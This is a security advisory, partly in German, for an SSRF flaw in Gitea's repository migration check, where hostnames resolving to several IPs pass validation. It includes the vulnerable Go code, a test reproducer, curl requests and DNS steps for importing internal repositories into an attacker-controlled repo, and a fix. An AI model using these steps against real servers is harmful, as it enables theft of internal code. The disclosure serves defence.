CVE-2026-58442

Ein Angreifer kann mehrere Schwachstellen in Gitea ausnutzen, um beliebigen Programmcode auszuführen, erweiterte Berechtigungen zu erlangen, Sicherheitsmaßnahmen zu umgehen, Daten zu manipulieren, sensible Informationen offenzulegen, Sitzungen zu übernehmen oder wiederzuverwenden oder einen Denial-of-Service-Zustand auszulösen.

### Summary Gitea's repository migration URL validation can be bypassed when a migration hostname resolves to multiple IP addresses. The validation logic accepts the destination if **any** resolved IP is allowed, even if another resolved IP is loopback, private, or otherwise blocked. The later `git clone` operation resolves the hostname again outside of that validation decision, so it can connect to the internal address. An authenticated low-privilege user who can create repository migrations can use an attacker-controlled DNS name to make Gitea connect to internal-only Git services and import their contents into a repository controlled by the attacker. ### Details The issue is in `services/migrations/migrate.go`, in the migration allow/block-list check. Current logic computes whether any resolved IP is allowed: ```go var ipAllowed bool var ipBlocked bool for _, addr := range addrList { ipAllowed = ipAllowed || allowList.MatchIPAddr(addr) ipBlocked = ipBlocked || blockList.MatchIPAddr(addr) } ``` Then, when an allow-list is active, the host is accepted if the hostname matches or `ipAllowed` is true: ```go if !allowList.IsEmpty() { if !allowList.MatchHostName(hostName) && !ipAllowed { return &git.ErrInvalidCloneAddr{Host: hostName, IsPermissionDenied: true} } } ``` This means a hostname resolving to both: - an allowed public IP, e.g. `1.2.3.4` - a blocked internal IP, e.g. `127.0.0.1` passes validation because the public IP sets `ipAllowed = true`. The actual repository import is later performed by `git clone --mirror` via `MigrateRepositoryGitData` / `gitrepo.CloneExternalRepo`. That git subprocess performs its own DNS resolution and is not tied to the specific IP set that was validated earlier. If the hostname resolves, rotates, or is re-bound to the internal address at clone time, Gitea can connect to a destination the migration filter would reject if supplied directly. The direct internal URL is correctly blocked, but the multi-answer hostname is accepted. ### PoC I verified the vulnerable predicate locally against Gitea checkout: ```text e8654c7e062431a521636703f47339cde64644fd ``` using Dockerized Go tests with `golang:1.26.4`. The local test proves: - `checkByAllowBlockList("loopback.example.test", [127.0.0.1])` is rejected. - `checkByAllowBlockList("mixed.example.test", [1.2.3.4, 127.0.0.1])` is accepted. Minimal reproducer at the validation layer: ```go func TestMigrationMultiAnswerAnyAllowed(t *testing.T) { old := setting.Migrations t.Cleanup(func() { setting.Migrations = old }) setting.Migrations.AllowedDomains = "" setting.Migrations.BlockedDomains = "" setting.Migrations.AllowLocalNetworks = false require.NoError(t, Init()) err := checkByAllowBlockList("mixed.example.test", []net.IP{ net.ParseIP("1.2.3.4"), net.ParseIP("127.0.0.1"), }) require.NoError(t, err, "mixed public+loopback answers should currently pass") err = checkByAllowBlockList("loopback.example.test", []net.IP{ net.ParseIP("127.0.0.1"), }) require.Error(t, err, "loopback-only answer should be rejected") } ``` To reproduce end-to-end: 1. Run Gitea with repository migration enabled and `ALLOW_LOCALNETWORKS = false`. 2. Create a normal non-admin user that can create repositories. 3. Run an internal Git HTTP service reachable only from the Gitea server, for example on `127.0.0.1:18082`. 4. Configure an attacker-controlled hostname so that DNS can return both a public address and `127.0.0.1`, or can return a public address during Gitea's pre-flight validation and `127.0.0.1` during the later git clone. 5. Confirm the direct internal migration is rejected: ```bash curl -X POST http://GITEA/api/v1/repos/migrate \ -H "Authorization: token USER_TOKEN" \ -H "Content-Type: application/json" \ -d '{ "clone_addr": "http://127.0.0.1:18082/repo.git", "repo_name": "direct-internal", "service": "git", "private": true }' ``` Expected direct result: ```json {"message":"You can not import from disallowed hosts."} ``` 6. Start a migration from the attacker-controlled multi-answer hostname: ```bash curl -X POST http://GITEA/api/v1/repos/migrate \ -H "Authorization: token USER_TOKEN" \ -H "Content-Type: application/json" \ -d '{ "clone_addr": "http://mixed.example.test:18082/repo.git", "repo_name": "multidns-ssrf", "service": "git", "private": true }' ``` Expected vulnerable result: - The migration request is accepted. - The git subprocess can connect to the internal address. - Internal repository contents are imported into the attacker's new Gitea repository. ### Impact This is a server-side request forgery in repository migration. An authenticated user with permission to create repository migrations can make the Gitea server connect to internal-only network resources that are normally blocked by the migration SSRF filter. If the internal service is a Git repository or Git-compatible HTTP endpoint, its contents can be imported into an attacker-controlled repository and exfiltrated. Potentially impacted resources include: - internal Git repositories - localhost-only services - private network source-control services - metadata or internal infrastructure endpoints if reachable and compatible with the request path The direct internal destination is rejected, but a multi-answer or rebindable DNS name can pass validation and later resolve to the internal address during the clone operation. ### Suggested fix The migration allow/block-list check should fail closed for multi-answer DNS: - reject if **any** resolved IP is blocked - require **all** resolved IPs to be allowed when an allow-list is active - treat an empty resolution result as not IP-allowed - ideally enforce the same destination policy at connection time, not only during pre-flight validation, to avoid DNS TOCTOU between validation and `git clone` For example, instead of `ipAllowed = ipAllowed || allowList.MatchIPAddr(addr)`, initialize `ipAllowed` to `len(addrList) > 0` and combine with logical AND: ```go ipAllowed := len(addrList) > 0 ipBlocked := false for _, addr := range addrList { ipAllowed = ipAllowed && allowList.MatchIPAddr(addr) ipBlocked = ipBlocked || blockList.MatchIPAddr(addr) } ```
